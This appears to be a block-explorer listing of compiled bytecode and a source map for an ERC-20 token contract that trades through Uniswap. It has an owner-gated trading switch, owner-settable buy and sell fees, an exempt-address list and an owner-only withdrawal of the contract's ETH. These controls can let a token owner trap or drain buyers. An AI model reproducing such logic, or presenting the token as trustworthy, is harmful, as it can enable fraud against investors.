f45760405162461bcd60e51b815260206004820152602960248201527f45524332303a20416d6f756e742073686f756c642062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161070f565b600f54600160b01b900460ff168061132457506001600160a01b03831660009081526002602052604090205460ff165b8061134757506001600160a01b03821660009081526002602052604090205460ff165b6113895760405162461bcd60e51b81526020600482015260136024820152721d1c98591a5b99c81b9bdd08195b98589b1959606a1b604482015260640161070f565b826001600160a01b031661139b61099d565b6001600160a01b03161480156113ca57506001600160a01b03821660009081526002602052604090205460ff16155b1561149a57600c548111156114305760405162461bcd60e51b815260206004820152602660248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526536b0bc2a3c1760d11b606482015260840161070f565b600d546001600160a01b0383166000908152602081905260409020546114569083611d90565b111561149a5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161070f565b600f54600160a81b900460ff16156115d85730600090815260208190526040902054600a54600f549083101590600160a01b900460ff161580156114db5750805b80156114ff57506114ea61099d565b6001600160a01b0316846001600160a01b0316145b801561152457506001600160a01b03851660009081526002602052604090205460ff16155b801561154957506001600160a01b03841660009081526002602052604090205460ff16155b156115d557600f805460ff60a01b1916600160a01b179055600b54821061157a57611575600b546119a3565b61158d565b600a5482111561158d5761158d826119a3565b6007546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156115c6573d6000803e3d6000fd5b50600f805460ff60a01b191690555b50505b600f54600160a01b900460ff16806115fa5750600f54600160a81b900460ff16155b15611690576001600160a01b0383166000908152602081905260409020546116229082611b0d565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546116519082611b20565b6001600160a01b03838116600081815260208181526040918290209490945551848152909291861691600080516020611fc683398151915291016110ce565b6001600160a01b03831660009081526002602052604090205460ff1615611773576001600160a01b03831660009081526002602052604081205460ff166116d757816116f1565b816001600a546116e79190611f3d565b6116f19190611f50565b9050801561114f576001600160a01b03808516600090815260208190526040808220805485900390559185168152205461172b9083611b20565b6001600160a01b03848116600081815260208181526040918290209490945551858152909291871691600080516020611fc6833981519152910160405180910390a350505050565b61177b61099d565b6001600160a01b0316826001600160a01b031614806117b2575061179d61099d565b6001600160a01b0316836001600160a01b0316145b1561192e5760006117c161099d565b6001600160a01b0316836001600160a01b0316036117de57506009545b6117e661099d565b6001600160a01b0316846001600160a01b03160361180357506008545b6001600160a01b0384166000908152602081905260409020546118269083611b0d565b6001600160a01b03851660009081526020819052604081209190915561185760646118518585611b2c565b90611b38565b905080156118b257306000908152602081905260408120805483929061187e908490611d90565b909155505060405181815230906001600160a01b03871690600080516020611fc68339815191529060200160405180910390a35b6118de6118bf8483611b0d565b6001600160a01b03861660009081526020819052604090205490611b20565b6001600160a01b038086166000818152602081905260409020929092558616600080516020611fc68339815191526119168685611b0d565b60405190815260200160405180910390a35050505050565b6001600160a01b0383166000908152602081905260409020546116229082611b0d565b600380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600e546119bb9030906001600160a01b031683610fb6565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106119f0576119f0611e04565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611a49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a6d9190611da3565b81600181518110611a8057611a80611e04565b6001600160a01b039283166020918202929092010152600e546040516318cbafe560e01b81529116906318cbafe590611ac6908590600090869030904290600401611f67565b6000604051808303816000875af1158015611ae5573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610e2c9190810190611e7f565b6000611b198284611f3d565b9392505050565b6000611b198284611d90565b6000611b198284611f50565b6000611b198284611fa3565b600060208083528351808285015260005b81811015611b7157858101830151858201604001528201611b55565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461074457600080fd5b60008060408385031215611bba57600080fd5b8235611bc581611b92565b946020939093013593505050565b600080600060608486031215611be857600080fd5b8335611bf381611b92565b92506020840135611c0381611b92565b929592945050506040919091013590565b60008060408385031215611c2757600080fd5b50508035926020909101359150565b600060208284031215611c4857600080fd5b8135611b1981611b92565b80358015158114611c6357600080fd5b919050565b60008060408385031215611c7b57600080fd5b8235611c8681611b92565b9150611c9460208401611c53565b90509250929050565b60008060408385031215611cb057600080fd5b8235611cbb81611b92565b91506020830135611ccb81611b92565b809150509250929050565b60008060408385031215611ce957600080fd5b611bc583611c53565b600060208284031215611d0457600080fd5b5035919050565b600181811c90821680611d1f57607f821691505b602082108103611d3f57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808201808211156106df576106df611d7a565b600060208284031215611db557600080fd5b8151611b1981611b92565b600080600060608486031215611dd557600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052604160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b83811015611e535781516001600160a01b031687529582019590820190600101611e2e565b509495945050505050565b828152604060208201526000611e776040830184611e1a565b949350505050565b60006020808385031215611e9257600080fd5b825167ffffffffffffffff80821115611eaa57600080fd5b818501915085601f830112611ebe57600080fd5b815181811115611ed057611ed0611dee565b8060051b604051601f19603f83011681018181108582111715611ef557611ef5611dee565b604052918252848201925083810185019188831115611f1357600080fd5b938501935b82851015611f3157845184529385019392850192611f18565b98975050505050505050565b818103818111156106df576106df611d7a565b80820281158282048414176106df576106df611d7a565b85815284602082015260a060408201526000611f8660a0830186611e1a565b6001600160a01b0394909416606083015250608001529392505050565b600082611fc057634e487b7160e01b600052601260045260246000fd5b50049056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122069e19ae5093226866904d62aa686c4b34950f9e4285669938cfdbb1444fb870064736f6c63430008130033
Deployed Bytecode
0x6080604052600436106102085760003560e01c8063751039fc11610118578063dc770367116100a0578063ead88dbc1161006f578063ead88dbc146105b7578063ef0ce66b146105d7578063f2421d2c146105ed578063f3c533f614610603578063f8b45b051461062357600080fd5b8063dc7703671461054c578063dd62ed3e14610562578063df20fd4914610582578063e8078d94146105a257600080fd5b80639eab837e116100e75780639eab837e146104b7578063a457c2d7146104d7578063a9059cbb146104f7578063af9549e014610517578063c1f1b1b51461053757600080fd5b8063751039fc14610425578063768dc7101461043a5780638da5cb5b1461046a57806395d89b41146104a257600080fd5b8063313ce5671161019b5780636b130f9a1161016a5780636b130f9a1461038e5780636ddd1713146103a357806370a08231146103c4578063715018a6146103fa5780637437681e1461040f57600080fd5b8063313ce56714610311578063395093511461032d57806344579b321461034d57806352f7c9881461036e57600080fd5b806318160ddd116101d757806318160ddd146102a6578063220f6696146102bb57806323b872dd146102dc578063293230b8146102fc57600080fd5b80630445b6671461021457806306fdde031461023d578063095ea7b31461025f5780630f299cf11461028f57600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b5061022a600a5481565b6040519081526020015b60405180910390f35b34801561024957600080fd5b50610252610639565b6040516102349190611b44565b34801561026b57600080fd5b5061027f61027a366004611ba7565b6106cb565b6040519015158152602001610234565b34801561029b57600080fd5b506102a46106e5565b005b3480156102b257600080fd5b5060065461022a565b3480156102c757600080fd5b50600f5461027f90600160a01b900460ff1681565b3480156102e857600080fd5b5061027f6102f7366004611bd3565b610747565b34801561030857600080fd5b506102a461076b565b34801561031d57600080fd5b5060405160128152602001610234565b34801561033957600080fd5b5061027f610348366004611ba7565b6107ac565b34801561035957600080fd5b50600f5461027f90600160b01b900460ff1681565b34801561037a57600080fd5b506102a4610389366004611c14565b6107ce565b34801561039a57600080fd5b506102a4610803565b3480156103af57600080fd5b50600f5461027f90600160a81b900460ff1681565b3480156103d057600080fd5b5061022a6103df366004611c36565b6001600160a01b031660009081526020819052604090205490565b34801561040657600080fd5b506102a4610839565b34801561041b57600080fd5b5061022a600c5481565b34801561043157600080fd5b506102a461086f565b34801561044657600080fd5b5061027f610455366004611c36565b60026020526000908152604090205460ff1681565b34801561047657600080fd5b5060035461048a906001600160a01b031681565b6040516001600160a01b039091168152602001610234565b3480156104ae57600080fd5b506102526108b0565b3480156104c357600080fd5b50600f5461048a906001600160a01b031681565b3480156104e357600080fd5b5061027f6104f2366004611ba7565b6108bf565b34801561050357600080fd5b5061027f610512366004611ba7565b61093a565b34801561052357600080fd5b506102a4610532366004611c68565b610948565b34801561054357600080fd5b5061048a61099d565b34801561055857600080fd5b5061022a60085481565b34801561056e57600080fd5b5061022a61057d366004611c9d565b610b0c565b34801561058e57600080fd5b506102a461059d366004611cd6565b610b37565b3480156105ae57600080fd5b506102a4610b83565b3480156105c357600080fd5b50600e5461048a906001600160a01b031681565b3480156105e357600080fd5b5061022a600b5481565b3480156105f957600080fd5b5061022a60095481565b34801561060f57600080fd5b5061022a61061e366004611cf2565b610e31565b34801561062f57600080fd5b5061022a600d5481565b60606004805461064890611d0b565b80601f016020809104026020016040519081016040528092919081815260200182805461067490611d0b565b80156106c15780601f10610696576101008083540402835291602001916106c1565b820191906000526020600020905b8154815290600101906020018083116106a457829003601f168201915b5050505050905090565b6000336106d9818585610fb6565b60019150505b92915050565b6003546001600160a01b031633146107185760405162461bcd60e51b815260040161070f90611d45565b60405180910390fd5b60405133904780156108fc02916000818181858888f19350505050158015610744573d6000803e3d6000fd5b50565b6000336107558582856110db565b610760858585611155565b506001949350505050565b6003546001600160a01b031633146107955760405162461bcd60e51b815260040161070f90611d45565b600f805461ffff60a81b191661010160a81b179055565b6000336106d98185856107bf8383610b0c565b6107c99190611d90565b610fb6565b6003546001600160a01b031633146107f85760405162461bcd60e51b815260040161070f90611d45565b600891909155600955565b6003546001600160a01b0316331461082d5760405162461bcd60e51b815260040161070f90611d45565b60006008819055600955565b6003546001600160a01b031633146108635760405162461bcd60e51b815260040161070f90611d45565b61086d6000611951565b565b6003546001600160a01b031633146108995760405162461bcd60e51b815260040161070f90611d45565b60006008819055600955600019600c819055600d55565b60606005805461064890611d0b565b600033816108cd8286610b0c565b90508381101561092d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161070f565b6107608286868403610fb6565b6000336106d9818585611155565b6003546001600160a01b031633146109725760405162461bcd60e51b815260040161070f90611d45565b6001600160a01b03919091166000908152600260205260409020805460ff1916911515919091179055565b600080600e60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109f3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a179190611da3565b6001600160a01b031663e6a4390530600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9d9190611da3565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610ae8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106df9190611da3565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6003546001600160a01b03163314610b615760405162461bcd60e51b815260040161070f90611d45565b600f8054921515600160a81b0260ff60a81b1990931692909217909155600a55565b6003546001600160a01b03163314610bad5760405162461bcd60e51b815260040161070f90611d45565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610be4903090600019610fb6565b600e60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c37573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c5b9190611da3565b6001600160a01b031663c9c6539630600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cbd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ce19190611da3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610d2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d529190611da3565b600f80546001600160a01b039283166001600160a01b0319909116179055600e541663f305d7194730610d9a816001600160a01b031660009081526020819052604090205490565b60035460405160e086901b6001600160e01b03191681526001600160a01b039384166004820152602481019290925260006044830181905260648301529190911660848201524260a482015260c40160606040518083038185885af1158015610e07573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e2c9190611dc0565b505050565b60408051600280825260608083018452600093909291906020830190803683370190505090503081600081518110610e6b57610e6b611e04565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ec4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee89190611da3565b81600181518110610efb57610efb611e04565b6001600160a01b039283166020918202929092010152600e5460405163d06ca61f60e01b8152600092919091169063d06ca61f90610f3f9087908690600401611e5e565b600060405180830381865afa158015610f5c573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610f849190810190611e7f565b90508060018351610f959190611f3d565b81518110610fa557610fa5611e04565b602002602001015192505050919050565b6001600160a01b0383166110185760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161070f565b6001600160a01b0382166110795760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161070f565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b60006110e78484610b0c565b9050600019811461114f57818110156111425760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161070f565b61114f8484848403610fb6565b50505050565b6001600160a01b0383166111b95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161070f565b6001600160a01b03821661121b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161070f565b6001600160a01b0383166000908152602081905260409020548111156112925760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161070f565b600081116112f45760405162461bcd60e51b815260206004820152602960248201527f45524332303a20416d6f756e742073686f756c642062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161070f565b600f54600160b01b900460ff168061132457506001600160a01b03831660009081526002602052604090205460ff165b8061134757506001600160a01b03821660009081526002602052604090205460ff165b6113895760405162461bcd60e51b81526020600482015260136024820152721d1c98591a5b99c81b9bdd08195b98589b1959606a1b604482015260640161070f565b826001600160a01b031661139b61099d565b6001600160a01b03161480156113ca57506001600160a01b03821660009081526002602052604090205460ff16155b1561149a57600c548111156114305760405162461bcd60e51b815260206004820152602660248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526536b0bc2a3c1760d11b606482015260840161070f565b600d546001600160a01b0383166000908152602081905260409020546114569083611d90565b111561149a5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161070f565b600f54600160a81b900460ff16156115d85730600090815260208190526040902054600a54600f549083101590600160a01b900460ff161580156114db5750805b80156114ff57506114ea61099d565b6001600160a01b0316846001600160a01b0316145b801561152457506001600160a01b03851660009081526002602052604090205460ff16155b801561154957506001600160a01b03841660009081526002602052604090205460ff16155b156115d557600f805460ff60a01b1916600160a01b179055600b54821061157a57611575600b546119a3565b61158d565b600a5482111561158d5761158d826119a3565b6007546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156115c6573d6000803e3d6000fd5b50600f805460ff60a01b191690555b50505b600f54600160a01b900460ff16806115fa5750600f54600160a81b900460ff16155b15611690576001600160a01b0383166000908152602081905260409020546116229082611b0d565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546116519082611b20565b6001600160a01b03838116600081815260208181526040918290209490945551848152909291861691600080516020611fc683398151915291016110ce565b6001600160a01b03831660009081526002602052604090205460ff1615611773576001600160a01b03831660009081526002602052604081205460ff166116d757816116f1565b816001600a546116e79190611f3d565b6116f19190611f50565b9050801561114f576001600160a01b03808516600090815260208190526040808220805485900390559185168152205461172b9083611b20565b6001600160a01b03848116600081815260208181526040918290209490945551858152909291871691600080516020611fc6833981519152910160405180910390a350505050565b61177b61099d565b6001600160a01b0316826001600160a01b031614806117b2575061179d61099d565b6001600160a01b0316836001600160a01b0316145b1561192e5760006117c161099d565b6001600160a01b0316836001600160a01b0316036117de57506009545b6117e661099d565b6001600160a01b0316846001600160a01b03160361180357506008545b6001600160a01b0384166000908152602081905260409020546118269083611b0d565b6001600160a01b03851660009081526020819052604081209190915561185760646118518585611b2c565b90611b38565b905080156118b257306000908152602081905260408120805483929061187e908490611d90565b909155505060405181815230906001600160a01b03871690600080516020611fc68339815191529060200160405180910390a35b6118de6118bf8483611b0d565b6001600160a01b03861660009081526020819052604090205490611b20565b6001600160a01b038086166000818152602081905260409020929092558616600080516020611fc68339815191526119168685611b0d565b60405190815260200160405180910390a35050505050565b6001600160a01b0383166000908152602081905260409020546116229082611b0d565b600380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600e546119bb9030906001600160a01b031683610fb6565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106119f0576119f0611e04565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611a49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a6d9190611da3565b81600181518110611a8057611a80611e04565b6001600160a01b039283166020918202929092010152600e546040516318cbafe560e01b81529116906318cbafe590611ac6908590600090869030904290600401611f67565b6000604051808303816000875af1158015611ae5573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610e2c9190810190611e7f565b6000611b198284611f3d565b9392505050565b6000611b198284611d90565b6000611b198284611f50565b6000611b198284611fa3565b600060208083528351808285015260005b81811015611b7157858101830151858201604001528201611b55565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461074457600080fd5b60008060408385031215611bba57600080fd5b8235611bc581611b92565b946020939093013593505050565b600080600060608486031215611be857600080fd5b8335611bf381611b92565b92506020840135611c0381611b92565b929592945050506040919091013590565b60008060408385031215611c2757600080fd5b50508035926020909101359150565b600060208284031215611c4857600080fd5b8135611b1981611b92565b80358015158114611c6357600080fd5b919050565b60008060408385031215611c7b57600080fd5b8235611c8681611b92565b9150611c9460208401611c53565b90509250929050565b60008060408385031215611cb057600080fd5b8235611cbb81611b92565b91506020830135611ccb81611b92565b809150509250929050565b60008060408385031215611ce957600080fd5b611bc583611c53565b600060208284031215611d0457600080fd5b5035919050565b600181811c90821680611d1f57607f821691505b602082108103611d3f57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808201808211156106df576106df611d7a565b600060208284031215611db557600080fd5b8151611b1981611b92565b600080600060608486031215611dd557600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052604160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b83811015611e535781516001600160a01b031687529582019590820190600101611e2e565b509495945050505050565b828152604060208201526000611e776040830184611e1a565b949350505050565b60006020808385031215611e9257600080fd5b825167ffffffffffffffff80821115611eaa57600080fd5b818501915085601f830112611ebe57600080fd5b815181811115611ed057611ed0611dee565b8060051b604051601f19603f83011681018181108582111715611ef557611ef5611dee565b604052918252848201925083810185019188831115611f1357600080fd5b938501935b82851015611f3157845184529385019392850192611f18565b98975050505050505050565b818103818111156106df576106df611d7a565b80820281158282048414176106df576106df611d7a565b85815284602082015260a060408201526000611f8660a0830186611e1a565b6001600160a01b0394909416606083015250608001529392505050565b600082611fc057634e487b7160e01b600052601260045260246000fd5b50049056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122069e19ae5093226866904d62aa686c4b34950f9e4285669938cfdbb1444fb870064736f6c63430008130033
Deployed Bytecode Sourcemap
10850:11289:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11430:55;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;11430:55:0;;;;;;;;13383:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;14385:228::-;;;;;;;;;;-1:-1:-1;14385:228:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;14385:228:0;1205:187:1;20679:114:0;;;;;;;;;;;;;:::i;:::-;;13704:108;;;;;;;;;;-1:-1:-1;13792:12:0;;13704:108;;11749:28;;;;;;;;;;-1:-1:-1;11749:28:0;;;;-1:-1:-1;;;11749:28:0;;;;;;14621:295;;;;;;;;;;-1:-1:-1;14621:295:0;;;;;:::i;:::-;;:::i;12787:107::-;;;;;;;;;;;;;:::i;13603:93::-;;;;;;;;;;-1:-1:-1;13603:93:0;;13686:2;2000:36:1;;1988:2;1973:18;13603:93:0;1858:184:1;14924:266:0;;;;;;;;;;-1:-1:-1;14924:266:0;;;;;:::i;:::-;;:::i;11822:31::-;;;;;;;;;;-1:-1:-1;11822:31:0;;;;-1:-1:-1;;;11822:31:0;;;;;;12103:126;;;;;;;;;;-1:-1:-1;12103:126:0;;;;;:::i;:::-;;:::i;12237:95::-;;;;;;;;;;;;;:::i;11784:31::-;;;;;;;;;;-1:-1:-1;11784:31:0;;;;-1:-1:-1;;;11784:31:0;;;;;;13820:143;;;;;;;;;;-1:-1:-1;13820:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;13937:18:0;13910:7;13937:18;;;;;;;;;;;;13820:143;12541:103;;;;;;;;;;;;;:::i;11558:51::-;;;;;;;;;;;;;;;;15813:160;;;;;;;;;;;;;:::i;11072:50::-;;;;;;;;;;-1:-1:-1;11072:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;11131:20;;;;;;;;;;-1:-1:-1;11131:20:0;;;;-1:-1:-1;;;;;11131:20:0;;;;;;-1:-1:-1;;;;;2716:32:1;;;2698:51;;2686:2;2671:18;11131:20:0;2552:203:1;13491:104:0;;;;;;;;;;;;;:::i;11719:21::-;;;;;;;;;;-1:-1:-1;11719:21:0;;;;-1:-1:-1;;;;;11719:21:0;;;15198:499;;;;;;;;;;-1:-1:-1;15198:499:0;;;;;:::i;:::-;;:::i;13971:220::-;;;;;;;;;;-1:-1:-1;13971:220:0;;;;;:::i;:::-;;:::i;12652:127::-;;;;;;;;;;-1:-1:-1;12652:127:0;;;;;:::i;:::-;;:::i;20260:256::-;;;;;;;;;;;;;:::i;11361:26::-;;;;;;;;;;;;;;;;14199:178;;;;;;;;;;-1:-1:-1;14199:178:0;;;;;:::i;:::-;;:::i;20524:147::-;;;;;;;;;;-1:-1:-1;20524:147:0;;;;;:::i;:::-;;:::i;19685:567::-;;;;;;;;;;;;;:::i;11680:32::-;;;;;;;;;;-1:-1:-1;11680:32:0;;;;-1:-1:-1;;;;;11680:32:0;;;11492:59;;;;;;;;;;;;;;;;11394:27;;;;;;;;;;;;;;;;20838:395;;;;;;;;;;-1:-1:-1;20838:395:0;;;;;:::i;:::-;;:::i;11616:55::-;;;;;;;;;;;;;;;;13383:100;13437:13;13470:5;13463:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13383:100;:::o;14385:228::-;14493:4;6958:10;14550:33;6958:10;14567:7;14576:6;14550:8;:33::i;:::-;14601:4;14594:11;;;14385:228;;;;;:::o;20679:114::-;12019:5;;-1:-1:-1;;;;;12019:5:0;12028:10;12019:19;12011:64;;;;-1:-1:-1;;;12011:64:0;;;;;;;:::i;:::-;;;;;;;;;20734:51:::1;::::0;20742:10:::1;::::0;20763:21:::1;20734:51:::0;::::1;;;::::0;::::1;::::0;;;20763:21;20742:10;20734:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;20679:114::o:0;14621:295::-;14752:4;6958:10;14810:38;14826:4;6958:10;14841:6;14810:15;:38::i;:::-;14859:27;14869:4;14875:2;14879:6;14859:9;:27::i;:::-;-1:-1:-1;14904:4:0;;14621:295;-1:-1:-1;;;;14621:295:0:o;12787:107::-;12019:5;;-1:-1:-1;;;;;12019:5:0;12028:10;12019:19;12011:64;;;;-1:-1:-1;;;12011:64:0;;;;;;;:::i;:::-;12839:11:::1;:18:::0;;-1:-1:-1;;;;12868:18:0;-1:-1:-1;;;12868:18:0;;;12787:107::o;14924:266::-;15037:4;6958:10;15094:66;6958:10;15111:7;15149:10;15120:26;6958:10;15111:7;15120:9;:26::i;:::-;:39;;;;:::i;:::-;15094:8;:66::i;12103:126::-;12019:5;;-1:-1:-1;;;;;12019:5:0;12028:10;12019:19;12011:64;;;;-1:-1:-1;;;12011:64:0;;;;;;;:::i;:::-;12179:7:::1;:15:::0;;;;12205:8:::1;:16:::0;12103:126::o;12237:95::-;12019:5;;-1:-1:-1;;;;;12019:5:0;12028:10;12019:19;12011:64;;;;-1:-1:-1;;;12011:64:0;;;;;;;:::i;:::-;12300:1:::1;12290:7;:11:::0;;;12312:8:::1;:12:::0;12237:95::o;12541:103::-;12019:5;;-1:-1:-1;;;;;12019:5:0;12028:10;12019:19;12011:64;;;;-1:-1:-1;;;12011:64:0;;;;;;;:::i;:::-;12606:30:::1;12633:1;12606:18;:30::i;:::-;12541:103::o:0;15813:160::-;12019:5;;-1:-1:-1;;;;;12019:5:0;12028:10;12019:19;12011:64;;;;-1:-1:-1;;;12011:64:0;;;;;;;:::i;:::-;15875:1:::1;15865:7;:11:::0;;;15887:8:::1;:12:::0;-1:-1:-1;;15912:5:0::1;:19:::0;;;15942:9:::1;:23:::0;15813:160::o;13491:104::-;13547:13;13580:7;13573:14;;;;;:::i;15198:499::-;15316:4;6958:10;15316:4;15400:26;6958:10;15418:7;15400:9;:26::i;:::-;15373:53;;15479:15;15459:16;:35;;15437:122;;;;-1:-1:-1;;;15437:122:0;;5518:2:1;15437:122:0;;;5500:21:1;5557:2;5537:18;;;5530:30;5596:34;5576:18;;;5569:62;-1:-1:-1;;;5647:18:1;;;5640:35;5692:19;;15437:122:0;5316:401:1;15437:122:0;15595:61;15604:6;15612:7;15640:15;15621:16;:34;15595:8;:61::i;13971:220::-;14075:4;6958:10;14132:29;6958:10;14150:2;14154:6;14132:9;:29::i;12652:127::-;12019:5;;-1:-1:-1;;;;;12019:5:0;12028:10;12019:19;12011:64;;;;-1:-1:-1;;;12011:64:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12736:27:0;;;::::1;;::::0;;;:18:::1;:27;::::0;;;;:35;;-1:-1:-1;;12736:35:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12652:127::o;20260:256::-;20300:7;20320:19;20391:8;;;;;;;;;-1:-1:-1;;;;;20391:8:0;-1:-1:-1;;;;;20374:34:0;;:36;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;20342:87:0;;20438:4;20462:8;;;;;;;;;-1:-1:-1;;;;;20462:8:0;-1:-1:-1;;;;;20445:31:0;;:33;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20342:137;;-1:-1:-1;;;;;;20342:137:0;;;;;;;-1:-1:-1;;;;;6208:15:1;;;20342:137:0;;;6190:34:1;6260:15;;6240:18;;;6233:43;6125:18;;20342:137:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;14199:178::-;-1:-1:-1;;;;;14341:19:0;;;14314:7;14341:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;14199:178::o;20524:147::-;12019:5;;-1:-1:-1;;;;;12019:5:0;12028:10;12019:19;12011:64;;;;-1:-1:-1;;;12011:64:0;;;;;;;:::i;:::-;20610:11:::1;:19:::0;;;::::1;;-1:-1:-1::0;;;20610:19:0::1;-1:-1:-1::0;;;;20610:19:0;;::::1;::::0;;;::::1;::::0;;;20640:13:::1;:23:::0;20524:147::o;19685:567::-;12019:5;;-1:-1:-1;;;;;12019:5:0;12028:10;12019:19;12011:64;;;;-1:-1:-1;;;12011:64:0;;;;;;;:::i;:::-;19739:8:::1;:71:::0;;-1:-1:-1;;;;;;19739:71:0::1;19767:42;19739:71:::0;;::::1;::::0;;;19823:55:::1;::::0;19840:4:::1;::::0;-1:-1:-1;;19823:8:0::1;:55::i;:::-;19918:8;;;;;;;;;-1:-1:-1::0;;;;;19918:8:0::1;-1:-1:-1::0;;;;;19918:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;